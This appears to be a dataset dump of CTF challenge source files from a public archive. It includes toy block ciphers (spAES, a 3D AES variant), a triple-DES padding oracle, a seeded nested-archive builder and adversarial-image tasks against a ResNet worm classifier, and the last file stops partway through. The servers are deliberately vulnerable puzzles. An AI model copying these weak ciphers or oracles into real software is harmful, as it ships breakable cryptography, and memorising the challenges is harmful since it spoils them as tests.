repo stringlengths 7 90 | file_url stringlengths 81 315 | file_path stringlengths 4 228 | content stringlengths 0 32.8k | language stringclasses 1 value | license stringclasses 7 values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 14:38:15 2026-01-05 02:33:18 | truncated bool 2 classes |
|---|---|---|---|---|---|---|---|---|
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/chall.py | ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/chall.py | from spaes import spAES
import os
from base64 import b64encode, b64decode, binascii
from file_reader import read
intro = """Welcome to the super secure encryption service in-space!
1) Encrypt text
2) Obtain our super-secret file, you can't decrypt it!
3) Quit"""
def main():
secret_file = read('secret_file.txt')
key = os.urandom(16)
cipher = spAES(key)
print(intro)
for _ in range(2):
answer = input("Your choice:")
if answer == '1':
try:
pt = b64decode(input("Your text (base64):"))
ct = cipher.encrypt_ecb(pt)
print(b64encode(ct).decode())
except binascii.Error:
print("Invalid base64!")
elif answer == '2':
ct = cipher.encrypt_ecb(secret_file.encode())
print(b64encode(ct).decode())
elif answer == '3':
break
else:
print("Unsupported operation!")
print("Goodbye!")
if __name__ == '__main__':
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/spaes.py | ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/spaes.py | from Crypto.Util.Padding import pad, unpad
SBOX = [4, 14, 13, 5, 0, 9, 2, 15, 11, 8, 12, 3, 1, 6, 7, 10]
ROUNDS = 6
CONSTS = ['6d6ab780eb885a101263a3e2f73520c9', 'f71df57947881932a33a3a0b8732b912', '0aa5df6fadf91c843977d378cc721147', '4a8f29cf09b62619c596465a59fb9827', '29b408cfd4910c80866f5121c6b1cc77', '8589c67a30dbced873b34bd04f40b7cb', '6d64bc8485817ba330fc81b9d2899532', '46495adad2786761ae89e8c26ff1c769', '747470d62b219d12abf9a0816b950639', '4ed2d429061e5d13a2b2ad1df1e63110']
def rotr_128(x, n):
return ((x >> n) | (x << (128 - n))) & ((1 << 128) - 1)
def rotl_4(x, n):
return ((x << n) | (x >> (4 - n))) & ((1 << 4) - 1)
def to_matrix(bts):
return [
[bts[i] >> 4 for i in range(0, 16, 2)],
[bts[i] & 0x0F for i in range(0, 16, 2)],
[bts[i] >> 4 for i in range(1, 16, 2)],
[bts[i] & 0x0F for i in range(1, 16, 2)],
]
def from_matrix(state):
return bytes([state[i][j] << 4 | state[i + 1][j] for j in range(8) for i in (0, 2)])
def shift_rows(state):
return [
state[0],
state[1][1:] + state[1][:1],
state[2][2:] + state[2][:2],
state[3][3:] + state[3][:3]
]
def mix_columns(state):
mixed = [[0 for i in range(8)] for j in range(4)]
for i in range(8):
mixed[0][i] = state[1][i] ^ rotl_4(state[2][i], 1) ^ rotl_4(state[3][i], 2)
mixed[1][i] = state[2][i] ^ rotl_4(state[3][i], 1) ^ rotl_4(state[0][i], 2)
mixed[2][i] = state[3][i] ^ rotl_4(state[0][i], 1) ^ rotl_4(state[1][i], 2)
mixed[3][i] = state[0][i] ^ rotl_4(state[1][i], 1) ^ rotl_4(state[2][i], 2)
return mixed
def enc(m, k, t):
assert len(m) == 16
assert len(k) == 16
assert len(t) == 16
RCON = [bytes.fromhex(x) for x in CONSTS]
final_key = int.from_bytes(k, byteorder='big')
final_key = rotr_128(final_key, 63) ^ (final_key >> 1)
final_key = int.to_bytes(final_key, length=16, byteorder='big')
state = to_matrix(m)
key_matrix = to_matrix(k)
tweak_matrix = to_matrix(t)
final_key_matrix = to_matrix(final_key)
state = [[state[i][j] ^ key_matrix[i][j] for j in range(8)] for i in range(4)]
for r in range(ROUNDS-1):
state = [[SBOX[state[i][j]] for j in range(8)] for i in range(4)]
state = shift_rows(state)
state = mix_columns(state)
round_const_matrix = to_matrix(RCON[r])
state = [[state[i][j] ^ round_const_matrix[i][j] for j in range(8)] for i in range(4)]
if r % 2 == 0:
state = [[state[i][j] ^ key_matrix[i][j] for j in range(8)] for i in range(4)]
else:
state = [[state[i][j] ^ tweak_matrix[i][j] for j in range(8)] for i in range(4)]
state = [[SBOX[state[i][j]] for j in range(8)] for i in range(4)]
state = shift_rows(state)
state = [[state[i][j] ^ final_key_matrix[i][j] for j in range(8)] for i in range(4)]
c = from_matrix(state)
return c
class spAES:
def __init__(self, master_key):
self.master_key = master_key
self.tweak = b"\x00"*16
def encrypt_ecb(self, plaintext):
plaintext = pad(plaintext, 16)
blocks = [plaintext[i:i+16] for i in range(0, len(plaintext), 16)]
return b"".join([enc(block, self.master_key, self.tweak) for block in blocks])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/chall.py | ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/chall.py | from spaes import spAES
import os
from base64 import b64encode, b64decode, binascii
flag = os.getenv("FLAG", "space{fake}")
intro = """Welcome to the super secure encryption service in-space!
1) Encrypt text
2) Guess the key!
3) Quit"""
def main():
key = os.urandom(16)
print(intro)
while True:
answer = input("Your choice:")
if answer == '1':
try:
pt = b64decode(input("Your text (base64):"))
tweak = b64decode(input("Your tweak (base64):"))
assert len(tweak) == 16, "Invalid tweak length!"
cipher = spAES(key, tweak)
ct = cipher.encrypt_ecb(pt)
print(b64encode(ct).decode())
except binascii.Error:
print("Invalid base64!")
elif answer == '2':
key_guess = b64decode(input("Key (base64):"))
if key_guess == key:
print(flag)
elif answer == '3':
break
else:
print("Unsupported operation!")
print("Goodbye!")
if __name__ == '__main__':
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/spaes.py | ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/spaes.py | from Crypto.Util.Padding import pad, unpad
SBOX = [4, 14, 13, 5, 0, 9, 2, 15, 11, 8, 12, 3, 1, 6, 7, 10]
ROUNDS = 9
CONSTS = ['6d6ab780eb885a101263a3e2f73520c9', 'f71df57947881932a33a3a0b8732b912', '0aa5df6fadf91c843977d378cc721147', '4a8f29cf09b62619c596465a59fb9827', '29b408cfd4910c80866f5121c6b1cc77', '8589c67a30dbced873b34bd04f40b7cb', '6d64bc8485817ba330fc81b9d2899532', '46495adad2786761ae89e8c26ff1c769', '747470d62b219d12abf9a0816b950639', '4ed2d429061e5d13a2b2ad1df1e63110']
def rotr_128(x, n):
return ((x >> n) | (x << (128 - n))) & ((1 << 128) - 1)
def rotl_4(x, n):
return ((x << n) | (x >> (4 - n))) & ((1 << 4) - 1)
def to_matrix(bts):
return [
[bts[i] >> 4 for i in range(0, 16, 2)],
[bts[i] & 0x0F for i in range(0, 16, 2)],
[bts[i] >> 4 for i in range(1, 16, 2)],
[bts[i] & 0x0F for i in range(1, 16, 2)],
]
def from_matrix(state):
return bytes([state[i][j] << 4 | state[i + 1][j] for j in range(8) for i in (0, 2)])
def shift_rows(state):
return [
state[0],
state[1][1:] + state[1][:1],
state[2][2:] + state[2][:2],
state[3][3:] + state[3][:3]
]
def mix_columns(state):
mixed = [[0 for i in range(8)] for j in range(4)]
for i in range(8):
mixed[0][i] = state[1][i] ^ rotl_4(state[2][i], 1) ^ rotl_4(state[3][i], 2)
mixed[1][i] = state[2][i] ^ rotl_4(state[3][i], 1) ^ rotl_4(state[0][i], 2)
mixed[2][i] = state[3][i] ^ rotl_4(state[0][i], 1) ^ rotl_4(state[1][i], 2)
mixed[3][i] = state[0][i] ^ rotl_4(state[1][i], 1) ^ rotl_4(state[2][i], 2)
return mixed
def enc(m, k, t):
assert len(m) == 16
assert len(k) == 16
assert len(t) == 16
RCON = [bytes.fromhex(x) for x in CONSTS]
final_key = int.from_bytes(k, byteorder='big')
final_key = rotr_128(final_key, 63) ^ (final_key >> 1)
final_key = int.to_bytes(final_key, length=16, byteorder='big')
state = to_matrix(m)
key_matrix = to_matrix(k)
tweak_matrix = to_matrix(t)
final_key_matrix = to_matrix(final_key)
state = [[state[i][j] ^ key_matrix[i][j] for j in range(8)] for i in range(4)]
for r in range(ROUNDS-1):
state = [[SBOX[state[i][j]] for j in range(8)] for i in range(4)]
state = shift_rows(state)
state = mix_columns(state)
round_const_matrix = to_matrix(RCON[r])
state = [[state[i][j] ^ round_const_matrix[i][j] for j in range(8)] for i in range(4)]
if r % 2 == 0:
state = [[state[i][j] ^ key_matrix[i][j] for j in range(8)] for i in range(4)]
else:
state = [[state[i][j] ^ tweak_matrix[i][j] for j in range(8)] for i in range(4)]
state = [[SBOX[state[i][j]] for j in range(8)] for i in range(4)]
state = shift_rows(state)
state = [[state[i][j] ^ final_key_matrix[i][j] for j in range(8)] for i in range(4)]
c = from_matrix(state)
return c
class spAES:
def __init__(self, master_key, tweak):
self.master_key = master_key
self.tweak = tweak
def encrypt_ecb(self, plaintext):
plaintext = pad(plaintext, 16)
blocks = [plaintext[i:i+16] for i in range(0, len(plaintext), 16)]
return b"".join([enc(block, self.master_key, self.tweak) for block in blocks])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/misc/possible_futures/builder.py | ctfs/UMDCTF/2024/misc/possible_futures/builder.py | #builder.py
#UMDCTF Challenge: i_see_many_paths
#Developed on Python 3.12.0 (tags/v3.12.0:0fb18b0, Oct 2 2023, 13:03:39) [MSC v.1935 64 bit (AMD64)] on win32
import string
import random
import hashlib
import py7zr
import os
#===========================================================
#Constants
#===========================================================
with open("flag.txt", 'r') as f:
FLAG = f.read()
MIN_CHILDREN = 1
MAX_CHILDREN = 4
MAX_DEPTH = 10
random.seed("My name is Paul Muad'dib Atreides, duke of arrakis".encode()) #!!!
#===========================================================
#Functions
#===========================================================
COUNT = 0
def get_new_int():
global COUNT
COUNT = COUNT + 1
return COUNT
def random_string(length):
# Create a random string of the specified length
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def create_encrypted_zip(output_filename, files, password):
#Create a 7z file with the given list of files, encrypted with a password. Each of the files zipped are then removed to save space.
with py7zr.SevenZipFile(output_filename, 'w', password=password) as archive:
for file in files:
archive.write(file.filename, arcname=os.path.basename(file.filename))
os.remove(file.filename)
class ZipNode():
def __init__(self, filename, children):
self.filename = filename
self.children = children
self.password = hashlib.md5(filename.encode()).hexdigest()
def __str__(self):
return "Name: {}".format(self.filename)
def generate_random_tree(root, depth):
if (depth >= MAX_DEPTH):
return
if (depth >= MAX_DEPTH * (3 / 4)):
root.children.append(ZipNode("possible_flag_{}.txt".format(get_new_int()), []))
for i in range(MIN_CHILDREN, random.randint(MIN_CHILDREN, MAX_CHILDREN) + 1):
child = ZipNode("future_number_{}.7z".format(get_new_int()), [])
root.children.append(child)
generate_random_tree(child, depth + 1)
def tree_to_zip_file(root):
for child in root.children:
if (child.filename[-3:] == "txt"):
open(child.filename, 'w+').write(FLAG if (random.random() < 0.0005) else random_string(random.randint(5, 35)))
else:
tree_to_zip_file(child)
create_encrypted_zip(root.filename, root.children, root.password)
#===========================================================
#Entry Point
#===========================================================
root = ZipNode("root.7z", [])
generate_random_tree(root, 0)
tree_to_zip_file(root)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/misc/attack_of_the_worm/server.py | ctfs/UMDCTF/2024/misc/attack_of_the_worm/server.py | #!/usr/local/bin/python
import sys
import numpy as np
from PIL import Image
import torch
import torch.nn as nn
from torchvision.models import resnet18
model = resnet18()
model.fc = nn.Linear(model.fc.in_features, 1)
model.load_state_dict(torch.load('model.pt'))
original = np.array(Image.open("worm.png"))
modified = original.copy()
inp = input(f"Enter a list of pixels to change, in the format 'x,y,r,g,b;x,y,r,g,b;...':\n")
try:
pixels = inp.split(";")
assert len(pixels) <= 30
for pixel in pixels:
x, y, r, g, b = map(int, pixel.split(","))
modified[y, x] = [r, g, b]
except:
print("Too many pixel changes.")
x = torch.tensor(modified.transpose(2, 0, 1) / 255.0, dtype=torch.float32).unsqueeze(0)
with torch.no_grad():
y = torch.sigmoid(model(x))
if y >= 0.5:
print("that's clearly a worm buddy")
sys.exit(0)
with open("flag.txt", "r") as f:
print("LISAN AL GAIB")
print(f.read()) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/misc/the_worm_strikes_back/server.py | ctfs/UMDCTF/2024/misc/the_worm_strikes_back/server.py | #!/usr/local/bin/python
import base64
import os
import sys
import numpy as np
from PIL import Image
import torch
import torch.nn as nn
from torchvision.models import resnet18
import torchvision.transforms as T
def mask_generation(patch=None, image_size=(3, 224, 224)):
applied_patch = np.zeros(image_size)
rotation_angle = np.random.choice(4)
for i in range(patch.shape[0]):
patch[i] = np.rot90(patch[i], rotation_angle)
x_location, y_location = np.random.randint(low=0, high=image_size[1]-patch.shape[1]), np.random.randint(low=0, high=image_size[2]-patch.shape[2])
applied_patch[:, x_location:x_location + patch.shape[1], y_location:y_location + patch.shape[2]] = patch
mask = applied_patch.copy()
mask[mask != 0] = 1.0
return applied_patch, mask, x_location, y_location
test_transforms = T.Compose([
T.Resize(size=(224, 224)),
T.RandomHorizontalFlip(),
T.ToTensor()
])
model = resnet18()
model.fc = nn.Linear(model.fc.in_features, 1)
model.load_state_dict(torch.load('model.pt'))
model.eval()
inp = input(f"Enter a base64 encoded 40x40 image patch.\n")
try:
patch = np.frombuffer(base64.standard_b64decode(inp), dtype=np.uint8)
patch = patch.reshape((3, 40, 40)).transpose(2, 0, 1) / 255
except:
print("Invalid patch.")
sys.exit(0)
total = 0
correct = 0
for test_img in os.listdir("worms"):
total += 1
img = Image.open(f"worms/{test_img}")
img = T.Resize(size=(224, 224))(img)
img = T.ToTensor()(img)
applied_patch, mask, _, _ = mask_generation(patch, image_size=(3, 224, 224))
applied_patch = torch.from_numpy(applied_patch)
mask = torch.from_numpy(mask)
perturbated_image = mask.float() * applied_patch.float() + (1 - mask.float()) * img.float()
output = model(perturbated_image.unsqueeze(0))
predicted = (output > 0).int()
if predicted == 0:
correct += 1
if correct / total >= 0.7:
with open("flag.txt", "r") as f:
print("LISAN AL GAIB")
print(f.read())
else:
print("Worm detected.") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/haes/haes.py | ctfs/UMDCTF/2024/crypto/haes/haes.py | #!/usr/local/bin/python
# adapted from https://github.com/boppreh/aes/blob/master/aes.py,
# which is in turn adapted from https://github.com/bozhu/AES-Python
# LICENSE:
'''
Copyright (C) 2012 Bo Zhu http://about.bozhu.me
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
'''
import os
N_ROUNDS = 5
def expand_key(master_key):
"""
Expands and returns a list of key matrices for the given master_key.
"""
# Round constants https://en.wikipedia.org/wiki/AES_key_schedule#Round_constants
r_con = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
# Initialize round keys with raw key material.
key_columns = [list(master_key[4*i:4*i+4]) for i in range(16)]
iteration_size = len(master_key) // 4
i = 1
while len(key_columns) < (N_ROUNDS + 1) * 16:
# Copy previous word.
word = key_columns[-1].copy()
# Perform schedule_core once every "row".
if len(key_columns) % iteration_size == 0:
# Circular shift
word.append(word.pop(0))
# Map to S-BOX.
word = [s_box[b] for b in word]
# XOR with first byte of R-CON, since the others bytes of R-CON are 0.
word[0] ^= r_con[i]
i += 1
# XOR with equivalent word from previous iteration.
word = [i^j for i, j in zip(word, key_columns[-iteration_size])]
key_columns.append(word)
full_key_stream = [ kb for key_column in key_columns for kb in key_column ]
return [full_key_stream[i*64:(i+1)*64] for i in range(0,N_ROUNDS + 1, 1)]
def bytes_to_state(text):
return [ [ [text[i+j+k] for k in range(4) ] for j in range(0, 16, 4) ] for i in range(0, 64, 16)]
def state_to_bytes(state):
arr = [0] * 64
for i in range(4):
for j in range(4):
for k in range(4):
arr[16*i+4*j+k] = state[i][j][k]
return bytes(arr)
def add_round_key(s, rk):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = s[i][j][k] ^ rk[16*i+4*j+k]
return new_state
s_box = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
]
inv_s_box = [s_box.index(i) for i in range(256)]
def sub_bytes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = s_box[s[i][j][k]]
return new_state
# provided for convenience
def inv_sub_bytes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = inv_s_box[s[i][j][k]]
return new_state
def shift_planes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[(i+j) % 4][(j+k) % 4][k] = s[i][j][k]
return new_state
# provided for convenience
def inv_shift_planes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = s[(i+j)%4][(j+k)%4][k]
return new_state
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
def mix_single_column(a):
# see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
b = [x for x in a] # copy
u = a[0]
b[0] ^= t ^ xtime(a[0] ^ a[1])
b[1] ^= t ^ xtime(a[1] ^ a[2])
b[2] ^= t ^ xtime(a[2] ^ a[3])
b[3] ^= t ^ xtime(a[3] ^ u)
return b
def mix_columns(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
new_state[i][j] = mix_single_column(s[i][j])
return new_state
# provided for convenience
def inv_mix_columns(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
for j in range(4):
u = xtime(xtime(s[i][j][0] ^ s[i][j][2]))
v = xtime(xtime(s[i][j][1] ^ s[i][j][3]))
new_state[i][j][0] = s[i][j][0] ^ u
new_state[i][j][1] = s[i][j][1] ^ v
new_state[i][j][2] = s[i][j][2] ^ u
new_state[i][j][3] = s[i][j][3] ^ v
return mix_columns(new_state)
def encrypt(key, plaintext):
assert(len(key) == 64)
assert(len(plaintext) == 64)
round_keys = expand_key(key)
state = bytes_to_state(plaintext)
state = add_round_key(state, round_keys[0])
for i in range(1, N_ROUNDS):
state = sub_bytes(state)
state = shift_planes(state)
state = mix_columns(state)
state = add_round_key(state, round_keys[i])
state = sub_bytes(state)
state = shift_planes(state)
state = add_round_key(state, round_keys[N_ROUNDS])
return state_to_bytes(state)
if __name__ == "__main__":
key = os.urandom(64)
flag = open("flag.txt", "rb").read()
flag += b'\x00' * (64 - len(flag))
print("Encrypted Flag: ", bytes.hex(encrypt(key, flag)))
print("Leave your message for Baron Harkonnen here: ")
pt = bytes.fromhex(input())
if len(pt) % 64 != 0:
print("Must be a multiple of block size.")
exit()
elif (len(pt) // 64) >= 512:
print("Too long.")
exit()
print("Encrypted message:")
i = 0
while i < len(pt):
print(bytes.hex(encrypt(key, pt[i:i+64])), end='')
i += 64
print()
print("Your message has been sent to the Baron.")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/Triple_DES/tripledes.py | ctfs/UMDCTF/2024/crypto/Triple_DES/tripledes.py | #!/usr/local/bin/python
from os import urandom
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
key = bytes.fromhex(open("key.txt", "r").read())
keys = [key[i:i+8] for i in range(0, len(key), 8)]
flag = open("flag.txt", "rb").read()
enc = pad(flag, 8)
for i in range(3):
cipher = DES.new(keys[i], DES.MODE_CBC)
enc = cipher.iv + cipher.encrypt(enc)
print("Here's the encrypted flag:", enc.hex())
while 1:
print("Give us an encrypted text and we'll tell you if it's valid!")
enc = input()
try: enc = bytes.fromhex(enc)
except:
print("no")
break
if len(enc) % 8 != 0 or len(enc) < 32:
print("no")
break
try:
for i in range(3):
iv, enc = enc[:8], enc[8:]
cipher = DES.new(keys[2-i], DES.MODE_CBC, iv=iv)
enc = cipher.decrypt(enc)
dec = unpad(enc, 8)
print("yes")
except:
print("no")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/haes_2/haes_2.py | ctfs/UMDCTF/2024/crypto/haes_2/haes_2.py | #!/usr/local/bin/python
# adapted from https://github.com/boppreh/aes/blob/master/aes.py,
# which is in turn adapted from https://github.com/bozhu/AES-Python
# LICENSE:
'''
Copyright (C) 2012 Bo Zhu http://about.bozhu.me
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
'''
import os
N_ROUNDS = 4 # NOTE THAT THIS IS DIFFERENT FROM THE OTHER CHALLENGE
def expand_key(master_key):
"""
Expands and returns a list of key matrices for the given master_key.
"""
# Round constants https://en.wikipedia.org/wiki/AES_key_schedule#Round_constants
r_con = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
# Initialize round keys with raw key material.
key_columns = [list(master_key[4*i:4*i+4]) for i in range(16)]
iteration_size = len(master_key) // 4
i = 1
while len(key_columns) < (N_ROUNDS + 1) * 16:
# Copy previous word.
word = key_columns[-1].copy()
# Perform schedule_core once every "row".
if len(key_columns) % iteration_size == 0:
# Circular shift
word.append(word.pop(0))
# Map to S-BOX.
word = [s_box[b] for b in word]
# XOR with first byte of R-CON, since the others bytes of R-CON are 0.
word[0] ^= r_con[i]
i += 1
# XOR with equivalent word from previous iteration.
word = [i^j for i, j in zip(word, key_columns[-iteration_size])]
key_columns.append(word)
full_key_stream = [ kb for key_column in key_columns for kb in key_column ]
return [full_key_stream[i*64:(i+1)*64] for i in range(0,N_ROUNDS + 1, 1)]
def bytes_to_state(text):
return [ [ [text[i+j+k] for k in range(4) ] for j in range(0, 16, 4) ] for i in range(0, 64, 16)]
def state_to_bytes(state):
arr = [0] * 64
for i in range(4):
for j in range(4):
for k in range(4):
arr[16*i+4*j+k] = state[i][j][k]
return bytes(arr)
def add_round_key(s, rk):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = s[i][j][k] ^ rk[16*i+4*j+k]
return new_state
s_box = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
